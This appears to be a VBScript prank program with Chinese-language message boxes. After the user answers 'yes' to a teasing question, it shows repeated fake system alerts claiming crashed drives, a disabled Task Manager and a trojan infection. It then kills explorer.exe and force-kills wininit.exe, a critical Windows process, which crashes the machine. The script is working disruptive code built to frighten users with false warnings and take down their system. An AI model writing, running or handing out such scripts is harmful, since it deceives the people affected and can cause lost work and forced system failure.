00000000000000000000000000000000000

msgbox"Hi，等你很久了",64,"inrport"

set WshShell = WScript.CreateObject("WScript.Shell")

WScript.Sleep 3000

Dim a

a=msgbox("你是不是我弟弟？",32+4,"inrport")

if a=6 then

msgbox"按确定后下一秒你会后悔的！",48,"inrport"

WScript.Sleep 3000

i=0

do until i=3

msgbox "(40000x870000)错误！",16,"系统提示："

msgbox "C\:崩溃！",48,"系统提示："

msgbox "任务管理器已禁用！",16,"系统提示："

msgbox "360杀毒运行错误！",16,"360提示："

msgbox "D\:崩溃！",48,"系统提示："

msgbox "Windows (7000000x8500000)错误！",16,"系统提示："

msgbox "Windows 含有恶性木马病毒",48,"系统提示："

i=i+1

loop

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "taskkill /f /im explorer.exe",,true

msgbox "应用程序崩溃！",48,"系统提示："

msgbox "Windows崩溃！",48,"系统提示："

set ws=createobject("wscript.shell")

ws.run"cmd /c start /min taskkill /f /im wininit.exe"

else

msgbox "看来你还是喜欢我的，再见~~",64,"inrport"

End if